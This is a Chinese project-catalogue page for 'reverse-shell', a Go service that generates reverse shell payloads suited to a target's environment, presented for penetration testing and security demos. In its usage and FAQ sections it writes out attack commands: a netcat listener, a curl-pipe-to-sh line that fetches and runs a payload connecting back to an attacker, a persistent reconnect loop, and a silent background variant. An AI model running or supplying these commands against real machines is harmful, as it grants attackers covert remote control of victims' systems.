跳到主要内容
项目档案应用项目

reverse-shell:反向 Shell 即服务工具 - 自动检测目标环境并生成适配 payload 的渗透测试解决方案

reverse-shell 是一个‘反向 Shell 即服务’的 Web 服务,自动检测目标系统可用软件并生成适配的 Shell payload。本页提供项目详细介绍、安装部署指南、使用方法与技巧,适用于渗透测试、安全演示等场景,帮助快速建立反向连接。

2,057GoStar 于 2026年4月13日2026年9月12日 更新

AI 总结

reverse-shell 是一个‘反向 Shell 即服务’的 Web 服务,通过单一 HTTP 端点自动检测目标系统可用软件并生成适配的 Shell payload,极大简化渗透测试中的连接建立过程。

中文项目介绍

reverse-shell 是一个提供‘反向 Shell 即服务’的 Web 应用程序,核心功能是通过一个简单的 HTTP 端点自动识别目标系统的可用软件(如 bash、python 等),并动态生成对应的反向 Shell 命令。用户只需在目标机器执行一条 curl 命令并将输出管道给 shell,即可建立与攻击者机器的反向连接。 该项目主要解决渗透测试中手动选择或编写适合目标环境反向 Shell payload 的麻烦。传统方法需要根据目标系统环境逐一尝试不同 payload,过程繁琐且容易失败。reverse-shell 通过自动化检测与生成,显著降低技术门槛和操作步骤,提高测试效率。 适用场景包括:渗透测试人员快速获取目标 shell;安全演示中直观展示未锁定计算机的风险;安全意识教育中帮助员工理解锁屏重要性。它设计用于 Unix-like 系统,应能兼容大多数常见环境。 技术实现上,项目使用 Go 语言编写,基于标准库 net/http 构建轻量级 Web 服务。主程序 main.go 负责 HTTP 监听与路由,api 包负责环境检测与 payload 生成。服务默认监听 3000 端口,可通过 PORT 环境变量修改,并支持通过 vercel.json 部署到 Vercel 等平台。项目采用 MIT 许可证,并包含单元测试与覆盖率报告。

详细信息与使用说明

1. 项目定位与用途

reverse-shell 是一个‘反向 Shell 即服务’的 Web 服务,其核心定位是为渗透测试和安全演示提供一种极其简便的反向 Shell 建立方式。用户无需记忆或手动编写针对不同系统的 payload,只需访问 https://reverse-shell.sh/攻击者IP:端口 即可获取自动适配当前目标环境的 Shell 命令。这大大降低了获取反向 Shell 的技术门槛,使安全测试更加高效和可靠。服务已部署于 reverse-shell.sh,可直接通过 curl 等工具调用。

2. 解决的问题

在渗透测试中,攻击者常面临目标系统环境未知的问题,需要手动尝试多种反向 Shell payload(如基于 bash、python、perl 等),过程耗时且易出错。reverse-shell 通过自动检测目标系统可用的解释器或软件,动态生成一条可直接执行的命令,彻底消除了手动选择和调试 payload 的步骤。这不仅节省时间,还提高了成功率,尤其适合快速评估或大规模测试场景。

3. 适用场景

本项目主要适用于以下场景:1) 渗透测试:安全研究人员在授权测试中快速获取目标系统的交互式 shell;2) 安全演示:在培训或会议中直观展示未锁定计算机的风险,只需一条命令即可演示;3) 安全意识教育:帮助员工理解锁屏重要性,通过实际体验增强安全意识;4) 红队演练:在模拟攻击中建立持久化连接。注意,项目仅针对 Unix-like 系统设计,应在合法授权范围内使用。

4. 安装方式

从当前仓库信息可见,部署 reverse-shell 服务需要以下步骤:首先,确保本地已安装 Go 环境,版本要求为 1.26.0(依据 go.mod 文件);其次,克隆仓库到本地;然后,通过命令 `go run main.go` 启动服务,默认监听 3000 端口;如需修改端口,可设置 PORT 环境变量,例如 `PORT=8080 go run main.go`。此外,仓库包含 vercel.json 配置文件,支持直接部署到 Vercel 等云平台。具体部署步骤请参考对应平台文档,仓库中未明确给出详细云部署命令。

5. 使用方式

使用 reverse-shell 分为两步:第一步,在攻击者机器上使用 netcat 监听一个端口,例如 `nc -l 1337`;第二步,在目标机器上执行 `curl https://reverse-shell.sh/攻击者IP:1337 | sh`,服务将返回适配的反向 Shell 命令并执行,建立连接。README 还提供了实用技巧:若需断线重连,可用 while 循环包装命令,如 `while true; do curl https://reverse-shell.sh/攻击者IP:1337 | sh; done`;若需在后台静默运行,可使用 `sh -c "curl https://reverse-shell.sh/攻击者IP:1337 | sh -i &" && exit`,该命令会在后台启动 shell 并退出终端。注意,所有使用必须符合道德和法律规范。

6. 补充说明或实现特点

reverse-shell 基于 Go 标准库 net/http 实现,架构简洁:main.go 中的 main 函数启动 HTTP 服务器并路由请求至 api 包的 Handler;api/index.go 负责处理请求,检测目标环境(如检查 bash、python、nc 等软件存在性),并生成对应的反向 Shell payload。项目包含单元测试(api/index_test.go)和 CI 工作流,确保代码质量与覆盖率。服务采用 MIT 许可证,允许自由使用和修改。从代码可见,payload 生成逻辑是核心,但具体检测算法和 payload 列表未在 README 中详述,需查阅源码。

思维导图

reverse-shell 项目结构
HTTP 服务器
main.go(端口监听、请求路由)
go.mod(模块定义、Go 版本)
反向 Shell 生成器
api/index.go(环境检测、payload 生成)
api/index_test.go(单元测试)
配置与部署
vercel.json(Vercel 平台配置)
PORT 环境变量(端口自定义)
文档与资源
README.md(使用指南、技巧)
demo.svg(演示图示)
LICENSE(MIT 许可)

常见问题

如何监听反向 Shell 连接?

在攻击者机器使用 netcat 监听端口,例如 `nc -l 1337`。

在目标机器上如何执行反向 Shell?

执行 `curl https://reverse-shell.sh/攻击者IP:端口 | sh`,服务将返回并执行适配的 payload。

支持断线自动重连吗?

支持,可通过 while 循环包装命令实现,如 `while true; do curl https://reverse-shell.sh/攻击者IP:端口 | sh; done`。

如何让反向 Shell 在后台静默运行?

使用 `sh -c "curl https://reverse-shell.sh/攻击者IP:端口 | sh -i &" && exit`,该命令会在后台启动 shell 并关闭终端。

部署服务需要什么环境?

需要 Go 环境(go.mod 指定版本 1.26.0),通过 `go run main.go` 启动;也可利用 vercel.json 部署到 Vercel 等平台。